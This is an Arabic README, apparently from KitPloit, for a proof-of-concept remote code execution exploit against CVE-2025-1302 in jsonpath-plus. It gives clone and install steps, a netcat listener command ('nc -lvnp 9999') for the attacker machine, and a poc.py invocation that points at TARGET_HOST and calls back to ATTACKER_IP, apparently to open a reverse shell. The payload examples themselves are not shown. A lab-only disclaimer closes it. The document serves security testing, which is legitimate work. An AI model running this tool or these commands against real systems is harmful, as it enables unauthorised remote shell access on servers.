CVE-2025-1302_jsonpath-plus_RCE

استغلال PoC وعرض توضيحي لخادم ضعيف لـ CVE-2025-1302 في jsonpath-plus.

التثبيت

1. استنساخ هذا المستودع:

   root@kitploit:~

   git clone https://github.com/yourorg/jsonpath-rce-poc.git
   cd jsonpath-rce-poc
   

2. تثبيت التبعيات (يتطلب بايثون 3.6+):

   root@kitploit:~

   pip install -r requirements.txt
   

الاستخدام

1. تشغيل مستمع على جهاز المهاجم (استبدل المنفذ حسب الحاجة):

   root@kitploit:~

   nc -lvnp 9999
   

2. تشغيل الـPoC:

   root@kitploit:~

   python3 poc.py \
     --url http://TARGET_HOST:PORT/query \
     --ip ATTACKER_IP --port 9999 \
     [--payload-file payloads.txt] \
     [--delay 5] \
     [--method AUTO|POST|GET] \
     [--no-fallback] \
     [--output results.json]
   

• --payload-file: ملف يحتوي على حمولة JSONPath واحدة في كل سطر. استخدم العناصر النائبة {ip} و {port}.
• --delay: الثواني التي يجب الانتظار قبل إرسال الحمولات (يظهر العد التنازلي).
• --method: فرض POST أو GET أو AUTO (الافتراضي).
• --no-fallback: اختصار لتخطي أي إعادة محاولة GET (مكافئ لـ --method POST).
• --output: المسار لحفظ سجل المحاولات بصيغة JSON.

مثال لملف الحمولة

المساهمة

1. إنشاء fork للمستودع وإنشاء فرع (branch) جديد للميزة.
2. تقديم طلب سحب (pull request) مع تغييراتك.

إخلاء المسؤولية

استخدم هذا السكريبت فقط في بيئات مختبرية خاضعة للرقابة ضد أنظمة تمتلكها أو لديك إذن صريح لاختبارها. قد يكون إساءة الاستخدام غير قانونية وغير أخلاقية.